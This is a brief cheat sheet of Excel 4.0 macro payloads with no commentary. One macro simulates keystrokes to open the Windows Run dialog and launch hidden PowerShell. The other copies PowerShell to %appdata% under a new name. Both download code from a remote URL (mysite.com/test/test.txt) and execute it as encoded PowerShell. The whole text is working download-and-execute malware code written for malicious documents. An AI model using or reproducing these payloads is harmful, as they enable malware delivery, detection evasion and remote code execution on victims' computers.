Excel 4.0 Macros

Keyboard takeover:

=SEND.KEYS("^{ESC}R", FALSE)
=WAIT(NOW() + "00:00:01")
=SEND.KEYS("apps:run", TRUE)
=WAIT(NOW() + "00:00:01")
=SEND.KEYS("~")
=WAIT(NOW() + "00:00:01")
=SEND.KEYS("powershell.exe -w 1 $a={(}iwr https://mysite.com/test/test.txt{)}.content;powershell.exe -w 1 -enc $a",TRUE)
=WAIT(NOW() + "00:00:01")
=SEND.KEYS("~")
=HALT()

New PowerShell

=EXEC("cmd.exe /c COPY C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe %appdata%\np.exe")
=WAIT(NOW() + "00:00:02")
=EXEC("cmd /c ""%appdata%\np.exe $a=((iwr https://mysite.com/test/test.txt).content);%appdata%\np.exe -w 1 -enc $a""")
=HALT()